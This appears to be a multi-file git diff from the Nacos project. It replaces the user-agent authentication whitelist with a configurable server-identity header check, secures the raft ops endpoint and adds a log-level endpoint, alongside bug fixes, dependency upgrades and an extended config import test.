@ -185,10 +185,10 @@ class InstanceTable extends React.Component {
)}
/>
</Table>
{_instance.count > pageSize ? (
{instance.count > pageSize ? (
<Pagination
className="pagination"
total={_instance.count}
total={instance.count}
pageSize={pageSize}
onChange={currentPage => this.onChangePage(currentPage)}
/>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -73,10 +73,25 @@ public class AuthFilter implements Filter {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}

View File

@ -349,12 +349,19 @@ public class ServerMemberManager implements ApplicationListener<WebServerInitial
Member existMember = serverList.get(address);
if (existMember == null) {
hasChange = true;
// If the cluster information in cluster.conf or address-server has been changed,
// while the corresponding nacos-server has not been started yet, the member's state
// should be set to DOWN. If the corresponding nacos-server has been started, the
// member's state will be set to UP after detection in a few seconds.
member.setState(NodeState.DOWN);
tmpMap.put(address, member);
} else {
//to keep extendInfo and abilities that report dynamically.
tmpMap.put(address, existMember);
}
// Ensure that the node is created only once
tmpMap.put(address, member);
if (NodeState.UP.equals(member.getState())) {
tmpAddressInfo.add(address);
}

View File

@ -16,6 +16,8 @@
package com.alibaba.nacos.core.code;
import com.alibaba.nacos.api.exception.NacosException;
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
import com.alibaba.nacos.common.utils.CollectionUtils;
import com.alibaba.nacos.core.auth.RequestMappingInfo;
import com.alibaba.nacos.core.auth.RequestMappingInfo.RequestMappingInfoComparator;
@ -65,9 +67,6 @@ public class ControllerMethodsCache {
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
@ -94,13 +93,12 @@ public class ControllerMethodsCache {
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
return new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
throw new NacosRuntimeException(NacosException.NOT_FOUND, "Invalid URI");
}
return path;
}
private List<RequestMappingInfo> findMatchedInfo(List<RequestMappingInfo> requestMappingInfos,
@ -219,6 +217,9 @@ public class ControllerMethodsCache {
if (requestMappingInfos == null) {
urlLookup.putIfAbsent(urlKey, new ArrayList<>());
requestMappingInfos = urlLookup.get(urlKey);
// For issue #4701.
String urlKeyBackup = urlKey + "/";
urlLookup.putIfAbsent(urlKeyBackup, requestMappingInfos);
}
requestMappingInfos.add(requestMappingInfo);
methods.put(requestMappingInfo, method);

View File

@ -16,17 +16,23 @@
package com.alibaba.nacos.core.controller;
import com.alibaba.nacos.auth.annotation.Secured;
import com.alibaba.nacos.auth.common.ActionTypes;
import com.alibaba.nacos.common.model.RestResult;
import com.alibaba.nacos.common.model.RestResultUtils;
import com.alibaba.nacos.core.distributed.ProtocolManager;
import com.alibaba.nacos.core.distributed.id.IdGeneratorManager;
import com.alibaba.nacos.core.utils.Commons;
import com.alibaba.nacos.core.utils.Loggers;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletResponse;
import java.util.HashMap;
import java.util.Map;
@ -56,6 +62,7 @@ public class CoreOpsController {
// }
@PostMapping(value = "/raft")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public RestResult<String> raftOps(@RequestBody Map<String, String> commands) {
return protocolManager.getCpProtocol().execute(commands);
}
@ -72,4 +79,10 @@ public class CoreOpsController {
return RestResultUtils.success(info);
}
@PutMapping(value = "/log")
public String setLogLevel(@RequestParam String logName, @RequestParam String logLevel) {
Loggers.setLogLevel(logName, logLevel);
return HttpServletResponse.SC_OK + "";
}
}

View File

@ -60,7 +60,7 @@ public interface KvStorage {
*
* @param keys List byte[]
* @return Map byte[], byte[]
* @throws KvStorageException RocksStorageException
* @throws KvStorageException KvStorageException
*/
Map<byte[], byte[]> batchGet(List<byte[]> keys) throws KvStorageException;
@ -69,34 +69,34 @@ public interface KvStorage {
*
* @param key byte[]
* @param value byte[]
* @throws KvStorageException RocksStorageException
* @throws KvStorageException KvStorageException
*/
void put(byte[] key, byte[] value) throws KvStorageException;
/**
* batch write.
*
* @param key List byte[]
* @param keys List byte[]
* @param values List byte[]
* @throws KvStorageException RocksStorageException
* @throws KvStorageException KvStorageException
*/
void batchPut(List<byte[]> key, List<byte[]> values) throws KvStorageException;
void batchPut(List<byte[]> keys, List<byte[]> values) throws KvStorageException;
/**
* delete with key.
*
* @param key byte[]
* @throws KvStorageException RocksStorageException
* @throws KvStorageException KvStorageException
*/
void delete(byte[] key) throws KvStorageException;
/**
* batch delete with keys.
*
* @param key List byte[]
* @throws KvStorageException RocksStorageException
* @param keys List byte[]
* @throws KvStorageException KvStorageException
*/
void batchDelete(List<byte[]> key) throws KvStorageException;
void batchDelete(List<byte[]> keys) throws KvStorageException;
/**
* do snapshot.

View File

@ -16,6 +16,7 @@
package com.alibaba.nacos.core.utils;
import ch.qos.logback.classic.Level;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@ -50,4 +51,27 @@ public class Loggers {
public static final Logger TPS_CONTROL_DETAIL = LoggerFactory.getLogger("com.alibaba.nacos.core.remote.control.detail");
public static void setLogLevel(String logName, String level) {
switch (logName) {
case "core-auth":
((ch.qos.logback.classic.Logger) AUTH).setLevel(Level.valueOf(level));
break;
case "core":
((ch.qos.logback.classic.Logger) CORE).setLevel(Level.valueOf(level));
break;
case "core-raft":
((ch.qos.logback.classic.Logger) RAFT).setLevel(Level.valueOf(level));
break;
case "core-distro":
((ch.qos.logback.classic.Logger) DISTRO).setLevel(Level.valueOf(level));
break;
case "core-cluster":
((ch.qos.logback.classic.Logger) CLUSTER).setLevel(Level.valueOf(level));
break;
default:
break;
}
}
}

View File

@ -72,7 +72,7 @@ public class NamingKvStorage extends MemoryKvStorage {
}
} catch (Exception e) {
throw new KvStorageException(ErrorCode.KVStorageWriteError.getCode(),
"Get data failed, key: " + new String(key), e);
"Get data failed, key: " + new String(key) + ", detail: " + e.getMessage(), e);
}
}
return result;
@ -97,7 +97,7 @@ public class NamingKvStorage extends MemoryKvStorage {
storage.put(key, value);
} catch (Exception e) {
throw new KvStorageException(ErrorCode.KVStorageWriteError.getCode(),
"Put data failed, key: " + new String(key), e);
"Put data failed, key: " + new String(key) + ", detail: " + e.getMessage(), e);
}
// after actual storage put success, put it in memory, memory put should success all the time
super.put(key, value);
@ -124,15 +124,15 @@ public class NamingKvStorage extends MemoryKvStorage {
}
} catch (Exception e) {
throw new KvStorageException(ErrorCode.KVStorageDeleteError.getCode(),
"Delete data failed, key: " + new String(key), e);
"Delete data failed, key: " + new String(key) + ", detail: " + e.getMessage(), e);
}
// after actual storage delete success, put it in memory, memory delete should success all the time
super.delete(key);
}
@Override
public void batchDelete(List<byte[]> key) throws KvStorageException {
for (byte[] each : key) {
public void batchDelete(List<byte[]> keys) throws KvStorageException {
for (byte[] each : keys) {
delete(each);
}
}

View File

@ -65,10 +65,10 @@ public class PersistentServiceProcessor extends BasePersistentServiceProcessor {
@Override
public void afterConstruct() {
super.afterConstruct();
this.protocol.addRequestProcessors(Collections.singletonList(this));
this.protocol.protocolMetaData()
.subscribe(Constants.NAMING_PERSISTENT_SERVICE_GROUP, MetadataKey.LEADER_META_DATA,
(o, arg) -> hasLeader = StringUtils.isNotBlank(String.valueOf(arg)));
this.protocol.addRequestProcessors(Collections.singletonList(this));
// If you choose to use the new RAFT protocol directly, there will be no compatible logical execution
if (EnvUtil.getProperty(Constants.NACOS_NAMING_USE_NEW_RAFT_FIRST, Boolean.class, false)) {
NotifyCenter.registerSubscriber(notifier);

View File

@ -201,7 +201,10 @@ public class Service extends com.alibaba.nacos.api.naming.pojo.Service implement
@Override
public void onDelete(String key) throws Exception {
// ignore
boolean isEphemeral = KeyBuilder.matchEphemeralInstanceListKey(key);
for (Cluster each : clusterMap.values()) {
each.updateIps(Collections.emptyList(), isEphemeral);
}
}
/**

View File

@ -941,7 +941,7 @@ public class ServiceManager implements RecordListener<Service> {
if (StringUtils.isNotBlank(param)) {
StringJoiner regex = new StringJoiner(Constants.SERVICE_INFO_SPLITER);
for (String s : param.split(Constants.SERVICE_INFO_SPLITER)) {
for (String s : param.split(Constants.SERVICE_INFO_SPLITER, Constants.SERVICE_INFO_SPLIT_COUNT)) {
regex.add(StringUtils.isBlank(s) ? Constants.ANY_PATTERN
: Constants.ANY_PATTERN + s + Constants.ANY_PATTERN);
}

View File

@ -68,8 +68,8 @@ public class HealthCheckReactor {
Runnable wrapperTask =
task instanceof NacosHealthCheckTask ? new HealthCheckTaskInterceptWrapper((NacosHealthCheckTask) task)
: task;
futureMap.putIfAbsent(task.taskKey(),
GlobalExecutor.scheduleNamingHealth(wrapperTask, 5000, 5000, TimeUnit.MILLISECONDS));
futureMap.computeIfAbsent(task.taskKey(),
k -> GlobalExecutor.scheduleNamingHealth(task, 5000, 5000, TimeUnit.MILLISECONDS));
}
/**

View File

@ -121,8 +121,9 @@ public class GlobalExecutor {
new NameThreadFactory("com.alibaba.nacos.naming.tcp.check.worker"));
private static final ScheduledExecutorService NAMING_HEALTH_EXECUTOR = ExecutorFactory.Managed
.newScheduledExecutorService(ClassUtils.getCanonicalName(NamingApp.class), DEFAULT_THREAD_COUNT,
new NameThreadFactory("com.alibaba.nacos.naming.health"));
.newScheduledExecutorService(ClassUtils.getCanonicalName(NamingApp.class),
Integer.max(Integer.getInteger("com.alibaba.nacos.naming.health.thread.num", DEFAULT_THREAD_COUNT),
1), new NameThreadFactory("com.alibaba.nacos.naming.health"));
private static final ScheduledExecutorService RETRANSMITTER_EXECUTOR = ExecutorFactory.Managed
.newSingleScheduledExecutorService(ClassUtils.getCanonicalName(NamingApp.class),

17
pom.xml
View File

@ -141,16 +141,16 @@
<log4j.version>2.13.3</log4j.version>
<httpasyncclient.version>4.1.3</httpasyncclient.version>
<mysql-connector-java.version>8.0.16</mysql-connector-java.version>
<mysql-connector-java.version>8.0.21</mysql-connector-java.version>
<derby.version>10.14.2.0</derby.version>
<cglib-nodep.version>2.1</cglib-nodep.version>
<jcip-annotations.version>1.0</jcip-annotations.version>
<jackson-core.version>2.10.4</jackson-core.version>
<jackson-databind.version>2.10.4</jackson-databind.version>
<jackson-core.version>2.12.2</jackson-core.version>
<jackson-databind.version>2.12.2</jackson-databind.version>
<jackson.annotations.version>2.12.2</jackson.annotations.version>
<jackson-core-asl.version>1.9.13</jackson-core-asl.version>
<jjwt.version>0.11.2</jjwt.version>
<netty-all.version>4.1.51.Final</netty-all.version>
<!--<netty-common.version>4.1.31.Final</netty-common.version>-->
<netty-all.version>4.1.59.Final</netty-all.version>
<mina-core.version>2.0.0-RC1</mina-core.version>
<guava.version>24.1.1-jre</guava.version>
<javatuples.version>1.2</javatuples.version>
@ -164,7 +164,7 @@
<mockito-all.version>1.10.19</mockito-all.version>
<hamcrest-all.version>1.3</hamcrest-all.version>
<prometheus-simpleclient.version>0.5.0</prometheus-simpleclient.version>
<tomcat-embed-jasper.version>9.0.38</tomcat-embed-jasper.version>
<tomcat-embed-jasper.version>9.0.40</tomcat-embed-jasper.version>
<truth.version>0.30</truth.version>
<HikariCP.version>3.4.2</HikariCP.version>
<jraft-core.version>1.3.5</jraft-core.version>
@ -916,6 +916,11 @@
<artifactId>jackson-databind</artifactId>
<version>${jackson-databind.version}</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>${jackson.annotations.version}</version>
</dependency>
<dependency>
<groupId>org.codehaus.jackson</groupId>
<artifactId>jackson-core-asl</artifactId>

View File

@ -45,6 +45,7 @@ import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.TimeUnit;
/**
* @author klw
@ -121,7 +122,7 @@ public class ConfigExportAndImportAPI_CITCase {
params.put("beta", "false");
result = agent.httpDelete(CONFIG_CONTROLLER_PATH + "/", null, params, agent.getEncode(), TIME_OUT);
Assert.assertEquals(HttpURLConnection.HTTP_OK, result.getCode());
params.put("dataId", "testHasAppname1.properties");
params.put("group", "EXPORT_IMPORT_TEST_GROUP");
params.put("beta", "false");
@ -265,7 +266,9 @@ public class ConfigExportAndImportAPI_CITCase {
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/test1.yml", "test: test1"));
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/test2.txt", "test: test1"));
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/test3.properties", "test.test1.value=test"));
String metaDataStr = "TEST_IMPORT.test2~txt.app=testApp1\r\nTEST_IMPORT.test3~properties.app=testApp2";
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT_2/test4.properties", "test.test4.value=test"));
zipItemList.add(new ZipUtils.ZipItem("TEST_IMPORT/SUB_GROUP/test5.properties", "test.test5.value=test"));
String metaDataStr = "TEST_IMPORT.test1~yml.app=testApp1\rTEST_IMPORT.test2~txt.app=testApp2\r\nTEST_IMPORT.test3~properties.app=testApp3\nTEST_IMPORT_2.test4~properties.app=testApp4";
zipItemList.add(new ZipUtils.ZipItem(".meta.yml", metaDataStr));
String importUrl = "?import=true&namespace=";
Map<String, String> importPrarm = new HashMap<>(1);
@ -275,7 +278,15 @@ public class ConfigExportAndImportAPI_CITCase {
uploadByteFile.setFileBytes(ZipUtils.zip(zipItemList));
uploadByteFile.setMediaType("application/zip");
uploadByteFile.setPrarmName("file");
httpClient.post(SERVER_ADDR + CONFIG_CONTROLLER_PATH + importUrl, importPrarm, Collections.singletonList(uploadByteFile), null);
String importResult = httpClient.post(SERVER_ADDR + CONFIG_CONTROLLER_PATH + importUrl, importPrarm, Collections.singletonList(uploadByteFile), null);
// test unrecognizedData
JsonNode importResObj = JacksonUtils.toObj(importResult);
int unrecognizedCount = importResObj.get("data").get("unrecognizedCount").intValue();
Assert.assertEquals(1, unrecognizedCount);
JsonNode unrecognizedData = importResObj.get("data").get("unrecognizedData").get(0);
Assert.assertEquals("TEST_IMPORT/SUB_GROUP/test5.properties", unrecognizedData.get("itemName").textValue());
String getDataUrl = "?search=accurate&dataId=&group=TEST_IMPORT&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&namespaceId=";
String queryResult = httpClient.get(SERVER_ADDR + CONFIG_CONTROLLER_PATH + getDataUrl, null);
JsonNode resultObj = JacksonUtils.toObj(queryResult);
@ -288,13 +299,26 @@ public class ConfigExportAndImportAPI_CITCase {
}
switch (config.get("dataId").textValue()){
case "test1.yml":
Assert.assertEquals(config.get("appName").textValue(), "testApp1");
break;
case "test2.txt":
Assert.assertEquals(config.get("appName").textValue(), "testApp2");
break;
case "test3.properties":
Assert.assertEquals(config.get("appName").textValue(), "testApp3");
break;
default:
Assert.fail();
}
}
getDataUrl = "?search=accurate&dataId=&group=TEST_IMPORT_2&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&namespaceId=";
queryResult = httpClient.get(SERVER_ADDR + CONFIG_CONTROLLER_PATH + getDataUrl, null);
resultObj = JacksonUtils.toObj(queryResult);
resultConfigs = resultObj.get("pageItems");
Assert.assertEquals(1, resultConfigs.size());
JsonNode jsonNode = resultConfigs.get(0);
Assert.assertEquals(jsonNode.get("appName").textValue(), "testApp4");
}
private Map<String, String> processMetaData(ZipUtils.ZipItem metaDataZipItem){